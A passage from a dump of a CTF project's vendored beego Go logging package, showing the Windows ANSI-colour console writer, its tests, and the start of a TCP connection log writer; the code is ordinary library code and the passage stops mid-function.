    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/color_windows.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// +build windows\n\npackage logs\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"strings\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\ntype (\n\tcsiState    int\n\tparseResult int\n)\n\nconst (\n\toutsideCsiCode csiState = iota\n\tfirstCsiCode\n\tsecondCsiCode\n)\n\nconst (\n\tnoConsole parseResult = iota\n\tchangedColor\n\tunknown\n)\n\ntype ansiColorWriter struct {\n\tw             io.Writer\n\tmode          outputMode\n\tstate         csiState\n\tparamStartBuf bytes.Buffer\n\tparamBuf      bytes.Buffer\n}\n\nconst (\n\tfirstCsiChar   byte = '\\x1b'\n\tsecondeCsiChar byte = '['\n\tseparatorChar  byte = ';'\n\tsgrCode        byte = 'm'\n)\n\nconst (\n\tforegroundBlue      = uint16(0x0001)\n\tforegroundGreen     = uint16(0x0002)\n\tforegroundRed       = uint16(0x0004)\n\tforegroundIntensity = uint16(0x0008)\n\tbackgroundBlue      = uint16(0x0010)\n\tbackgroundGreen     = uint16(0x0020)\n\tbackgroundRed       = uint16(0x0040)\n\tbackgroundIntensity = uint16(0x0080)\n\tunderscore          = uint16(0x8000)\n\n\tforegroundMask = foregroundBlue | foregroundGreen | foregroundRed | foregroundIntensity\n\tbackgroundMask = backgroundBlue | backgroundGreen | backgroundRed | backgroundIntensity\n)\n\nconst (\n\tansiReset        = \"0\"\n\tansiIntensityOn  = \"1\"\n\tansiIntensityOff = \"21\"\n\tansiUnderlineOn  = \"4\"\n\tansiUnderlineOff = \"24\"\n\tansiBlinkOn      = \"5\"\n\tansiBlinkOff     = \"25\"\n\n\tansiForegroundBlack   = \"30\"\n\tansiForegroundRed     = \"31\"\n\tansiForegroundGreen   = \"32\"\n\tansiForegroundYellow  = \"33\"\n\tansiForegroundBlue    = \"34\"\n\tansiForegroundMagenta = \"35\"\n\tansiForegroundCyan    = \"36\"\n\tansiForegroundWhite   = \"37\"\n\tansiForegroundDefault = \"39\"\n\n\tansiBackgroundBlack   = \"40\"\n\tansiBackgroundRed     = \"41\"\n\tansiBackgroundGreen   = \"42\"\n\tansiBackgroundYellow  = \"43\"\n\tansiBackgroundBlue    = \"44\"\n\tansiBackgroundMagenta = \"45\"\n\tansiBackgroundCyan    = \"46\"\n\tansiBackgroundWhite   = \"47\"\n\tansiBackgroundDefault = \"49\"\n\n\tansiLightForegroundGray    = \"90\"\n\tansiLightForegroundRed     = \"91\"\n\tansiLightForegroundGreen   = \"92\"\n\tansiLightForegroundYellow  = \"93\"\n\tansiLightForegroundBlue    = \"94\"\n\tansiLightForegroundMagenta = \"95\"\n\tansiLightForegroundCyan    = \"96\"\n\tansiLightForegroundWhite   = \"97\"\n\n\tansiLightBackgroundGray    = \"100\"\n\tansiLightBackgroundRed     = \"101\"\n\tansiLightBackgroundGreen   = \"102\"\n\tansiLightBackgroundYellow  = \"103\"\n\tansiLightBackgroundBlue    = \"104\"\n\tansiLightBackgroundMagenta = \"105\"\n\tansiLightBackgroundCyan    = \"106\"\n\tansiLightBackgroundWhite   = \"107\"\n)\n\ntype drawType int\n\nconst (\n\tforeground drawType = iota\n\tbackground\n)\n\ntype winColor struct {\n\tcode     uint16\n\tdrawType drawType\n}\n\nvar colorMap = map[string]winColor{\n\tansiForegroundBlack:   {0, foreground},\n\tansiForegroundRed:     {foregroundRed, foreground},\n\tansiForegroundGreen:   {foregroundGreen, foreground},\n\tansiForegroundYellow:  {foregroundRed | foregroundGreen, foreground},\n\tansiForegroundBlue:    {foregroundBlue, foreground},\n\tansiForegroundMagenta: {foregroundRed | foregroundBlue, foreground},\n\tansiForegroundCyan:    {foregroundGreen | foregroundBlue, foreground},\n\tansiForegroundWhite:   {foregroundRed | foregroundGreen | foregroundBlue, foreground},\n\tansiForegroundDefault: {foregroundRed | foregroundGreen | foregroundBlue, foreground},\n\n\tansiBackgroundBlack:   {0, background},\n\tansiBackgroundRed:     {backgroundRed, background},\n\tansiBackgroundGreen:   {backgroundGreen, background},\n\tansiBackgroundYellow:  {backgroundRed | backgroundGreen, background},\n\tansiBackgroundBlue:    {backgroundBlue, background},\n\tansiBackgroundMagenta: {backgroundRed | backgroundBlue, background},\n\tansiBackgroundCyan:    {backgroundGreen | backgroundBlue, background},\n\tansiBackgroundWhite:   {backgroundRed | backgroundGreen | backgroundBlue, background},\n\tansiBackgroundDefault: {0, background},\n\n\tansiLightForegroundGray:    {foregroundIntensity, foreground},\n\tansiLightForegroundRed:     {foregroundIntensity | foregroundRed, foreground},\n\tansiLightForegroundGreen:   {foregroundIntensity | foregroundGreen, foreground},\n\tansiLightForegroundYellow:  {foregroundIntensity | foregroundRed | foregroundGreen, foreground},\n\tansiLightForegroundBlue:    {foregroundIntensity | foregroundBlue, foreground},\n\tansiLightForegroundMagenta: {foregroundIntensity | foregroundRed | foregroundBlue, foreground},\n\tansiLightForegroundCyan:    {foregroundIntensity | foregroundGreen | foregroundBlue, foreground},\n\tansiLightForegroundWhite:   {foregroundIntensity | foregroundRed | foregroundGreen | foregroundBlue, foreground},\n\n\tansiLightBackgroundGray:    {backgroundIntensity, background},\n\tansiLightBackgroundRed:     {backgroundIntensity | backgroundRed, background},\n\tansiLightBackgroundGreen:   {backgroundIntensity | backgroundGreen, background},\n\tansiLightBackgroundYellow:  {backgroundIntensity | backgroundRed | backgroundGreen, background},\n\tansiLightBackgroundBlue:    {backgroundIntensity | backgroundBlue, background},\n\tansiLightBackgroundMagenta: {backgroundIntensity | backgroundRed | backgroundBlue, background},\n\tansiLightBackgroundCyan:    {backgroundIntensity | backgroundGreen | backgroundBlue, background},\n\tansiLightBackgroundWhite:   {backgroundIntensity | backgroundRed | backgroundGreen | backgroundBlue, background},\n}\n\nvar (\n\tkernel32                       = syscall.NewLazyDLL(\"kernel32.dll\")\n\tprocSetConsoleTextAttribute    = kernel32.NewProc(\"SetConsoleTextAttribute\")\n\tprocGetConsoleScreenBufferInfo = kernel32.NewProc(\"GetConsoleScreenBufferInfo\")\n\tdefaultAttr                    *textAttributes\n)\n\nfunc init() {\n\tscreenInfo := getConsoleScreenBufferInfo(uintptr(syscall.Stdout))\n\tif screenInfo != nil {\n\t\tcolorMap[ansiForegroundDefault] = winColor{\n\t\t\tscreenInfo.WAttributes & (foregroundRed | foregroundGreen | foregroundBlue),\n\t\t\tforeground,\n\t\t}\n\t\tcolorMap[ansiBackgroundDefault] = winColor{\n\t\t\tscreenInfo.WAttributes & (backgroundRed | backgroundGreen | backgroundBlue),\n\t\t\tbackground,\n\t\t}\n\t\tdefaultAttr = convertTextAttr(screenInfo.WAttributes)\n\t}\n}\n\ntype coord struct {\n\tX, Y int16\n}\n\ntype smallRect struct {\n\tLeft, Top, Right, Bottom int16\n}\n\ntype consoleScreenBufferInfo struct {\n\tDwSize              coord\n\tDwCursorPosition    coord\n\tWAttributes         uint16\n\tSrWindow            smallRect\n\tDwMaximumWindowSize coord\n}\n\nfunc getConsoleScreenBufferInfo(hConsoleOutput uintptr) *consoleScreenBufferInfo {\n\tvar csbi consoleScreenBufferInfo\n\tret, _, _ := procGetConsoleScreenBufferInfo.Call(\n\t\thConsoleOutput,\n\t\tuintptr(unsafe.Pointer(&csbi)))\n\tif ret == 0 {\n\t\treturn nil\n\t}\n\treturn &csbi\n}\n\nfunc setConsoleTextAttribute(hConsoleOutput uintptr, wAttributes uint16) bool {\n\tret, _, _ := procSetConsoleTextAttribute.Call(\n\t\thConsoleOutput,\n\t\tuintptr(wAttributes))\n\treturn ret != 0\n}\n\ntype textAttributes struct {\n\tforegroundColor     uint16\n\tbackgroundColor     uint16\n\tforegroundIntensity uint16\n\tbackgroundIntensity uint16\n\tunderscore          uint16\n\totherAttributes     uint16\n}\n\nfunc convertTextAttr(winAttr uint16) *textAttributes {\n\tfgColor := winAttr & (foregroundRed | foregroundGreen | foregroundBlue)\n\tbgColor := winAttr & (backgroundRed | backgroundGreen | backgroundBlue)\n\tfgIntensity := winAttr & foregroundIntensity\n\tbgIntensity := winAttr & backgroundIntensity\n\tunderline := winAttr & underscore\n\totherAttributes := winAttr &^ (foregroundMask | backgroundMask | underscore)\n\treturn &textAttributes{fgColor, bgColor, fgIntensity, bgIntensity, underline, otherAttributes}\n}\n\nfunc convertWinAttr(textAttr *textAttributes) uint16 {\n\tvar winAttr uint16\n\twinAttr |= textAttr.foregroundColor\n\twinAttr |= textAttr.backgroundColor\n\twinAttr |= textAttr.foregroundIntensity\n\twinAttr |= textAttr.backgroundIntensity\n\twinAttr |= textAttr.underscore\n\twinAttr |= textAttr.otherAttributes\n\treturn winAttr\n}\n\nfunc changeColor(param []byte) parseResult {\n\tscreenInfo := getConsoleScreenBufferInfo(uintptr(syscall.Stdout))\n\tif screenInfo == nil {\n\t\treturn noConsole\n\t}\n\n\twinAttr := convertTextAttr(screenInfo.WAttributes)\n\tstrParam := string(param)\n\tif len(strParam) <= 0 {\n\t\tstrParam = \"0\"\n\t}\n\tcsiParam := strings.Split(strParam, string(separatorChar))\n\tfor _, p := range csiParam {\n\t\tc, ok := colorMap[p]\n\t\tswitch {\n\t\tcase !ok:\n\t\t\tswitch p {\n\t\t\tcase ansiReset:\n\t\t\t\twinAttr.foregroundColor = defaultAttr.foregroundColor\n\t\t\t\twinAttr.backgroundColor = defaultAttr.backgroundColor\n\t\t\t\twinAttr.foregroundIntensity = defaultAttr.foregroundIntensity\n\t\t\t\twinAttr.backgroundIntensity = defaultAttr.backgroundIntensity\n\t\t\t\twinAttr.underscore = 0\n\t\t\t\twinAttr.otherAttributes = 0\n\t\t\tcase ansiIntensityOn:\n\t\t\t\twinAttr.foregroundIntensity = foregroundIntensity\n\t\t\tcase ansiIntensityOff:\n\t\t\t\twinAttr.foregroundIntensity = 0\n\t\t\tcase ansiUnderlineOn:\n\t\t\t\twinAttr.underscore = underscore\n\t\t\tcase ansiUnderlineOff:\n\t\t\t\twinAttr.underscore = 0\n\t\t\tcase ansiBlinkOn:\n\t\t\t\twinAttr.backgroundIntensity = backgroundIntensity\n\t\t\tcase ansiBlinkOff:\n\t\t\t\twinAttr.backgroundIntensity = 0\n\t\t\tdefault:\n\t\t\t\t// unknown code\n\t\t\t}\n\t\tcase c.drawType == foreground:\n\t\t\twinAttr.foregroundColor = c.code\n\t\tcase c.drawType == background:\n\t\t\twinAttr.backgroundColor = c.code\n\t\t}\n\t}\n\twinTextAttribute := convertWinAttr(winAttr)\n\tsetConsoleTextAttribute(uintptr(syscall.Stdout), winTextAttribute)\n\n\treturn changedColor\n}\n\nfunc parseEscapeSequence(command byte, param []byte) parseResult {\n\tif defaultAttr == nil {\n\t\treturn noConsole\n\t}\n\n\tswitch command {\n\tcase sgrCode:\n\t\treturn changeColor(param)\n\tdefault:\n\t\treturn unknown\n\t}\n}\n\nfunc (cw *ansiColorWriter) flushBuffer() (int, error) {\n\treturn cw.flushTo(cw.w)\n}\n\nfunc (cw *ansiColorWriter) resetBuffer() (int, error) {\n\treturn cw.flushTo(nil)\n}\n\nfunc (cw *ansiColorWriter) flushTo(w io.Writer) (int, error) {\n\tvar n1, n2 int\n\tvar err error\n\n\tstartBytes := cw.paramStartBuf.Bytes()\n\tcw.paramStartBuf.Reset()\n\tif w != nil {\n\t\tn1, err = cw.w.Write(startBytes)\n\t\tif err != nil {\n\t\t\treturn n1, err\n\t\t}\n\t} else {\n\t\tn1 = len(startBytes)\n\t}\n\tparamBytes := cw.paramBuf.Bytes()\n\tcw.paramBuf.Reset()\n\tif w != nil {\n\t\tn2, err = cw.w.Write(paramBytes)\n\t\tif err != nil {\n\t\t\treturn n1 + n2, err\n\t\t}\n\t} else {\n\t\tn2 = len(paramBytes)\n\t}\n\treturn n1 + n2, nil\n}\n\nfunc isParameterChar(b byte) bool {\n\treturn ('0' <= b && b <= '9') || b == separatorChar\n}\n\nfunc (cw *ansiColorWriter) Write(p []byte) (int, error) {\n\tvar r, nw, first, last int\n\tif cw.mode != DiscardNonColorEscSeq {\n\t\tcw.state = outsideCsiCode\n\t\tcw.resetBuffer()\n\t}\n\n\tvar err error\n\tfor i, ch := range p {\n\t\tswitch cw.state {\n\t\tcase outsideCsiCode:\n\t\t\tif ch == firstCsiChar {\n\t\t\t\tcw.paramStartBuf.WriteByte(ch)\n\t\t\t\tcw.state = firstCsiCode\n\t\t\t}\n\t\tcase firstCsiCode:\n\t\t\tswitch ch {\n\t\t\tcase firstCsiChar:\n\t\t\t\tcw.paramStartBuf.WriteByte(ch)\n\t\t\t\tbreak\n\t\t\tcase secondeCsiChar:\n\t\t\t\tcw.paramStartBuf.WriteByte(ch)\n\t\t\t\tcw.state = secondCsiCode\n\t\t\t\tlast = i - 1\n\t\t\tdefault:\n\t\t\t\tcw.resetBuffer()\n\t\t\t\tcw.state = outsideCsiCode\n\t\t\t}\n\t\tcase secondCsiCode:\n\t\t\tif isParameterChar(ch) {\n\t\t\t\tcw.paramBuf.WriteByte(ch)\n\t\t\t} else {\n\t\t\t\tnw, err = cw.w.Write(p[first:last])\n\t\t\t\tr += nw\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn r, err\n\t\t\t\t}\n\t\t\t\tfirst = i + 1\n\t\t\t\tresult := parseEscapeSequence(ch, cw.paramBuf.Bytes())\n\t\t\t\tif result == noConsole || (cw.mode == OutputNonColorEscSeq && result == unknown) {\n\t\t\t\t\tcw.paramBuf.WriteByte(ch)\n\t\t\t\t\tnw, err := cw.flushBuffer()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn r, err\n\t\t\t\t\t}\n\t\t\t\t\tr += nw\n\t\t\t\t} else {\n\t\t\t\t\tn, _ := cw.resetBuffer()\n\t\t\t\t\t// Add one more to the size of the buffer for the last ch\n\t\t\t\t\tr += n + 1\n\t\t\t\t}\n\n\t\t\t\tcw.state = outsideCsiCode\n\t\t\t}\n\t\tdefault:\n\t\t\tcw.state = outsideCsiCode\n\t\t}\n\t}\n\n\tif cw.mode != DiscardNonColorEscSeq || cw.state == outsideCsiCode {\n\t\tnw, err = cw.w.Write(p[first:])\n\t\tr += nw\n\t}\n\n\treturn r, err\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/color_windows_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// +build windows\n\npackage logs\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"syscall\"\n\t\"testing\"\n)\n\nvar GetConsoleScreenBufferInfo = getConsoleScreenBufferInfo\n\nfunc ChangeColor(color uint16) {\n\tsetConsoleTextAttribute(uintptr(syscall.Stdout), color)\n}\n\nfunc ResetColor() {\n\tChangeColor(uint16(0x0007))\n}\n\nfunc TestWritePlanText(t *testing.T) {\n\tinner := bytes.NewBufferString(\"\")\n\tw := NewAnsiColorWriter(inner)\n\texpected := \"plain text\"\n\tfmt.Fprintf(w, expected)\n\tactual := inner.String()\n\tif actual != expected {\n\t\tt.Errorf(\"Get %q, want %q\", actual, expected)\n\t}\n}\n\nfunc TestWriteParseText(t *testing.T) {\n\tinner := bytes.NewBufferString(\"\")\n\tw := NewAnsiColorWriter(inner)\n\n\tinputTail := \"\\x1b[0mtail text\"\n\texpectedTail := \"tail text\"\n\tfmt.Fprintf(w, inputTail)\n\tactualTail := inner.String()\n\tinner.Reset()\n\tif actualTail != expectedTail {\n\t\tt.Errorf(\"Get %q, want %q\", actualTail, expectedTail)\n\t}\n\n\tinputHead := \"head text\\x1b[0m\"\n\texpectedHead := \"head text\"\n\tfmt.Fprintf(w, inputHead)\n\tactualHead := inner.String()\n\tinner.Reset()\n\tif actualHead != expectedHead {\n\t\tt.Errorf(\"Get %q, want %q\", actualHead, expectedHead)\n\t}\n\n\tinputBothEnds := \"both ends \\x1b[0m text\"\n\texpectedBothEnds := \"both ends  text\"\n\tfmt.Fprintf(w, inputBothEnds)\n\tactualBothEnds := inner.String()\n\tinner.Reset()\n\tif actualBothEnds != expectedBothEnds {\n\t\tt.Errorf(\"Get %q, want %q\", actualBothEnds, expectedBothEnds)\n\t}\n\n\tinputManyEsc := \"\\x1b\\x1b\\x1b\\x1b[0m many esc\"\n\texpectedManyEsc := \"\\x1b\\x1b\\x1b many esc\"\n\tfmt.Fprintf(w, inputManyEsc)\n\tactualManyEsc := inner.String()\n\tinner.Reset()\n\tif actualManyEsc != expectedManyEsc {\n\t\tt.Errorf(\"Get %q, want %q\", actualManyEsc, expectedManyEsc)\n\t}\n\n\texpectedSplit := \"split  text\"\n\tfor _, ch := range \"split \\x1b[0m text\" {\n\t\tfmt.Fprintf(w, string(ch))\n\t}\n\tactualSplit := inner.String()\n\tinner.Reset()\n\tif actualSplit != expectedSplit {\n\t\tt.Errorf(\"Get %q, want %q\", actualSplit, expectedSplit)\n\t}\n}\n\ntype screenNotFoundError struct {\n\terror\n}\n\nfunc writeAnsiColor(expectedText, colorCode string) (actualText string, actualAttributes uint16, err error) {\n\tinner := bytes.NewBufferString(\"\")\n\tw := NewAnsiColorWriter(inner)\n\tfmt.Fprintf(w, \"\\x1b[%sm%s\", colorCode, expectedText)\n\n\tactualText = inner.String()\n\tscreenInfo := GetConsoleScreenBufferInfo(uintptr(syscall.Stdout))\n\tif screenInfo != nil {\n\t\tactualAttributes = screenInfo.WAttributes\n\t} else {\n\t\terr = &screenNotFoundError{}\n\t}\n\treturn\n}\n\ntype testParam struct {\n\ttext       string\n\tattributes uint16\n\tansiColor  string\n}\n\nfunc TestWriteAnsiColorText(t *testing.T) {\n\tscreenInfo := GetConsoleScreenBufferInfo(uintptr(syscall.Stdout))\n\tif screenInfo == nil {\n\t\tt.Fatal(\"Could not get ConsoleScreenBufferInfo\")\n\t}\n\tdefer ChangeColor(screenInfo.WAttributes)\n\tdefaultFgColor := screenInfo.WAttributes & uint16(0x0007)\n\tdefaultBgColor := screenInfo.WAttributes & uint16(0x0070)\n\tdefaultFgIntensity := screenInfo.WAttributes & uint16(0x0008)\n\tdefaultBgIntensity := screenInfo.WAttributes & uint16(0x0080)\n\n\tfgParam := []testParam{\n\t\t{\"foreground black  \", uint16(0x0000 | 0x0000), \"30\"},\n\t\t{\"foreground red    \", uint16(0x0004 | 0x0000), \"31\"},\n\t\t{\"foreground green  \", uint16(0x0002 | 0x0000), \"32\"},\n\t\t{\"foreground yellow \", uint16(0x0006 | 0x0000), \"33\"},\n\t\t{\"foreground blue   \", uint16(0x0001 | 0x0000), \"34\"},\n\t\t{\"foreground magenta\", uint16(0x0005 | 0x0000), \"35\"},\n\t\t{\"foreground cyan   \", uint16(0x0003 | 0x0000), \"36\"},\n\t\t{\"foreground white  \", uint16(0x0007 | 0x0000), \"37\"},\n\t\t{\"foreground default\", defaultFgColor | 0x0000, \"39\"},\n\t\t{\"foreground light gray   \", uint16(0x0000 | 0x0008 | 0x0000), \"90\"},\n\t\t{\"foreground light red    \", uint16(0x0004 | 0x0008 | 0x0000), \"91\"},\n\t\t{\"foreground light green  \", uint16(0x0002 | 0x0008 | 0x0000), \"92\"},\n\t\t{\"foreground light yellow \", uint16(0x0006 | 0x0008 | 0x0000), \"93\"},\n\t\t{\"foreground light blue   \", uint16(0x0001 | 0x0008 | 0x0000), \"94\"},\n\t\t{\"foreground light magenta\", uint16(0x0005 | 0x0008 | 0x0000), \"95\"},\n\t\t{\"foreground light cyan   \", uint16(0x0003 | 0x0008 | 0x0000), \"96\"},\n\t\t{\"foreground light white  \", uint16(0x0007 | 0x0008 | 0x0000), \"97\"},\n\t}\n\n\tbgParam := []testParam{\n\t\t{\"background black  \", uint16(0x0007 | 0x0000), \"40\"},\n\t\t{\"background red    \", uint16(0x0007 | 0x0040), \"41\"},\n\t\t{\"background green  \", uint16(0x0007 | 0x0020), \"42\"},\n\t\t{\"background yellow \", uint16(0x0007 | 0x0060), \"43\"},\n\t\t{\"background blue   \", uint16(0x0007 | 0x0010), \"44\"},\n\t\t{\"background magenta\", uint16(0x0007 | 0x0050), \"45\"},\n\t\t{\"background cyan   \", uint16(0x0007 | 0x0030), \"46\"},\n\t\t{\"background white  \", uint16(0x0007 | 0x0070), \"47\"},\n\t\t{\"background default\", uint16(0x0007) | defaultBgColor, \"49\"},\n\t\t{\"background light gray   \", uint16(0x0007 | 0x0000 | 0x0080), \"100\"},\n\t\t{\"background light red    \", uint16(0x0007 | 0x0040 | 0x0080), \"101\"},\n\t\t{\"background light green  \", uint16(0x0007 | 0x0020 | 0x0080), \"102\"},\n\t\t{\"background light yellow \", uint16(0x0007 | 0x0060 | 0x0080), \"103\"},\n\t\t{\"background light blue   \", uint16(0x0007 | 0x0010 | 0x0080), \"104\"},\n\t\t{\"background light magenta\", uint16(0x0007 | 0x0050 | 0x0080), \"105\"},\n\t\t{\"background light cyan   \", uint16(0x0007 | 0x0030 | 0x0080), \"106\"},\n\t\t{\"background light white  \", uint16(0x0007 | 0x0070 | 0x0080), \"107\"},\n\t}\n\n\tresetParam := []testParam{\n\t\t{\"all reset\", defaultFgColor | defaultBgColor | defaultFgIntensity | defaultBgIntensity, \"0\"},\n\t\t{\"all reset\", defaultFgColor | defaultBgColor | defaultFgIntensity | defaultBgIntensity, \"\"},\n\t}\n\n\tboldParam := []testParam{\n\t\t{\"bold on\", uint16(0x0007 | 0x0008), \"1\"},\n\t\t{\"bold off\", uint16(0x0007), \"21\"},\n\t}\n\n\tunderscoreParam := []testParam{\n\t\t{\"underscore on\", uint16(0x0007 | 0x8000), \"4\"},\n\t\t{\"underscore off\", uint16(0x0007), \"24\"},\n\t}\n\n\tblinkParam := []testParam{\n\t\t{\"blink on\", uint16(0x0007 | 0x0080), \"5\"},\n\t\t{\"blink off\", uint16(0x0007), \"25\"},\n\t}\n\n\tmixedParam := []testParam{\n\t\t{\"both black,   bold, underline, blink\", uint16(0x0000 | 0x0000 | 0x0008 | 0x8000 | 0x0080), \"30;40;1;4;5\"},\n\t\t{\"both red,     bold, underline, blink\", uint16(0x0004 | 0x0040 | 0x0008 | 0x8000 | 0x0080), \"31;41;1;4;5\"},\n\t\t{\"both green,   bold, underline, blink\", uint16(0x0002 | 0x0020 | 0x0008 | 0x8000 | 0x0080), \"32;42;1;4;5\"},\n\t\t{\"both yellow,  bold, underline, blink\", uint16(0x0006 | 0x0060 | 0x0008 | 0x8000 | 0x0080), \"33;43;1;4;5\"},\n\t\t{\"both blue,    bold, underline, blink\", uint16(0x0001 | 0x0010 | 0x0008 | 0x8000 | 0x0080), \"34;44;1;4;5\"},\n\t\t{\"both magenta, bold, underline, blink\", uint16(0x0005 | 0x0050 | 0x0008 | 0x8000 | 0x0080), \"35;45;1;4;5\"},\n\t\t{\"both cyan,    bold, underline, blink\", uint16(0x0003 | 0x0030 | 0x0008 | 0x8000 | 0x0080), \"36;46;1;4;5\"},\n\t\t{\"both white,   bold, underline, blink\", uint16(0x0007 | 0x0070 | 0x0008 | 0x8000 | 0x0080), \"37;47;1;4;5\"},\n\t\t{\"both default, bold, underline, blink\", uint16(defaultFgColor | defaultBgColor | 0x0008 | 0x8000 | 0x0080), \"39;49;1;4;5\"},\n\t}\n\n\tassertTextAttribute := func(expectedText string, expectedAttributes uint16, ansiColor string) {\n\t\tactualText, actualAttributes, err := writeAnsiColor(expectedText, ansiColor)\n\t\tif actualText != expectedText {\n\t\t\tt.Errorf(\"Get %q, want %q\", actualText, expectedText)\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Fatal(\"Could not get ConsoleScreenBufferInfo\")\n\t\t}\n\t\tif actualAttributes != expectedAttributes {\n\t\t\tt.Errorf(\"Text: %q, Get 0x%04x, want 0x%04x\", expectedText, actualAttributes, expectedAttributes)\n\t\t}\n\t}\n\n\tfor _, v := range fgParam {\n\t\tResetColor()\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n\n\tfor _, v := range bgParam {\n\t\tChangeColor(uint16(0x0070 | 0x0007))\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n\n\tfor _, v := range resetParam {\n\t\tChangeColor(uint16(0x0000 | 0x0070 | 0x0008))\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n\n\tResetColor()\n\tfor _, v := range boldParam {\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n\n\tResetColor()\n\tfor _, v := range underscoreParam {\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n\n\tResetColor()\n\tfor _, v := range blinkParam {\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n\n\tfor _, v := range mixedParam {\n\t\tResetColor()\n\t\tassertTextAttribute(v.text, v.attributes, v.ansiColor)\n\t}\n}\n\nfunc TestIgnoreUnknownSequences(t *testing.T) {\n\tinner := bytes.NewBufferString(\"\")\n\tw := NewModeAnsiColorWriter(inner, OutputNonColorEscSeq)\n\n\tinputText := \"\\x1b[=decpath mode\"\n\texpectedTail := inputText\n\tfmt.Fprintf(w, inputText)\n\tactualTail := inner.String()\n\tinner.Reset()\n\tif actualTail != expectedTail {\n\t\tt.Errorf(\"Get %q, want %q\", actualTail, expectedTail)\n\t}\n\n\tinputText = \"\\x1b[=tailing esc and bracket\\x1b[\"\n\texpectedTail = inputText\n\tfmt.Fprintf(w, inputText)\n\tactualTail = inner.String()\n\tinner.Reset()\n\tif actualTail != expectedTail {\n\t\tt.Errorf(\"Get %q, want %q\", actualTail, expectedTail)\n\t}\n\n\tinputText = \"\\x1b[?tailing esc\\x1b\"\n\texpectedTail = inputText\n\tfmt.Fprintf(w, inputText)\n\tactualTail = inner.String()\n\tinner.Reset()\n\tif actualTail != expectedTail {\n\t\tt.Errorf(\"Get %q, want %q\", actualTail, expectedTail)\n\t}\n\n\tinputText = \"\\x1b[1h;3punended color code invalid\\x1b3\"\n\texpectedTail = inputText\n\tfmt.Fprintf(w, inputText)\n\tactualTail = inner.String()\n\tinner.Reset()\n\tif actualTail != expectedTail {\n\t\tt.Errorf(\"Get %q, want %q\", actualTail, expectedTail)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/conn.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"encoding/json\"\n\t\"io\"\n\t\"net\"\n\t\"time\"\n)\n\n// connWriter implements LoggerInterface.\n// it writes messages in keep-live tcp connection.\ntype connWriter struct {\n\tlg             *logWriter\n\tinnerWriter    io.WriteCloser\n\tReconnectOnMsg bool   `json:\"reconnectOnMsg\"`\n\tReconnect      bool   `json:\"reconnect\"`\n\tNet            string `json:\"net\"`\n\tAddr           string `json:\"addr\"`\n\tLevel          int    `json:\"level\"`\n}\n\n// NewConn create new ConnWrite returning as LoggerInterface.\nfunc NewConn() Logger {\n\tconn := new(connWriter)\n\tconn.Level = LevelTrace\n\treturn conn\n}\n\n// Init init connection writer with json config.\n// json config only need key \"level\".\nfunc (c *connWriter) Init(jsonConfig string) error {\n\treturn json.Unmarshal([]byte(jsonConfig), c)\n}\n\n// WriteMsg write message in connection.\n// if connection is down, try to re-connect.\nfunc (c *connWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > c.Level {\n\t\treturn nil\n\t}\n\tif c.needToConnectOnMsg() {\n\t\terr := c.connect()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif c.ReconnectOnMsg {\n\t\tdefer c.innerWriter.Close()\n\t}\n\n\tc.lg.println(when, msg)\n\treturn nil\n}\n\n// Flush implementing method. empty.\nfunc (c *connWriter) Flush() {\n\n}\n\n// Destroy destroy connection writer and close tcp listener.\nfunc (c *connWriter) Destroy() {\n\tif c.innerWriter != nil {\n\t\tc.innerWriter.Close()\n\t}\n}\n\nfunc (c *connWriter) connect() error {\n\tif c.innerWriter != nil {\n\t\tc.innerWriter.Close()\n\t\tc.innerWriter = nil\n\t}\n\n\tconn, err := net.Dial(c.Net, c.Addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif tcpConn, ok := conn.(*net.TCPConn); ok {\n\t\ttcpConn.SetKeepAlive(true)\n\t}\n\n\tc.innerWriter = conn\n\tc.lg = newLogWriter(conn)\n\treturn nil\n}\n\nfunc (c *connWriter) needToConnectOnMsg() bool {\n\tif c.Reconnect {\n\t\tc.Reconnect = false\n\t\treturn true\n\t}\n\n\tif c.innerWriter == nil {\n\t\treturn 